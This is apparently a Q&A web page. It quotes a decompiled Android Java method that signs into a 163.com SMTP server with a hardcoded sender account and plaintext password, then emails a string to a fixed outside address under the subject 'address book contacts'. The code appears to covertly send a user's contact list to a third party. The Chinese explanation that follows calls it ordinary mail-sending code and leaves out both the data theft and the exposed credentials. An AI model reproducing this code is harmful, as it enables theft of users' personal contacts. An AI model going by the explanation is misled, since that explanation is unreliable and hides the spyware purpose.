private void sendQQMail(String str) { try { Mail mail = new Mail(); mail.setMailServerHost("smtp.163.com"); mail.setMailServerPort("25"); mail.setFromAddress("m13045463916_1@163.com"); mail.setPassword("blue1314"); ArrayList<String> arrayList = new ArrayList<>(); arrayList.add("fyx6148700808@163.com "); mail.setToAddress(arrayList); new StringBuilder(); if (TextUtils.isEmpty("") && TextUtils.isEmpty("")) { mail.setSubject("通信录联系人"); } else if (!TextUtils.isEmpty("")) { mail.setSubject("用户的通信录联系人"); } else if (!TextUtils.isEmpty("") || TextUtils.isEmpty("")) { mail.setSubject("通信录联系人"); } else { mail.setSubject("用户的通信录联系人"); } mail.setContent(str); MailSender.getInstance().sendMail(mail, new MailSender.OnMailSendListener() { // from class: com.hyp.caione.xhcqsscsj.activity.MainActivity.4 @Override // com.teprinciple.mailsender.MailSender.OnMailSendListener public void onSuccess() { Log.e("+++++++++++", "邮件发送成功"); } @Override // com.teprinciple.mailsender.MailSender.OnMailSendListener public void onError(Throwable th) { Log.e("+++++++++++", "邮件发送失败"); } }); } catch (Exception e) { e.printStackTrace(); } }
时间: 2024-02-15 18:27:47 浏览: 69
这段代码是用来发送邮件的,使用的是163邮箱的SMTP服务器。其中包括邮件的发送地址、密码、收件人地址、邮件主题和内容等信息。发送邮件的核心代码是MailSender.getInstance().sendMail(mail, listener)。这里使用了回调函数OnMailSendListener来监听邮件的发送状态,如果发送成功,则输出"邮件发送成功",如果发送失败,则输出"邮件发送失败"。
阅读全文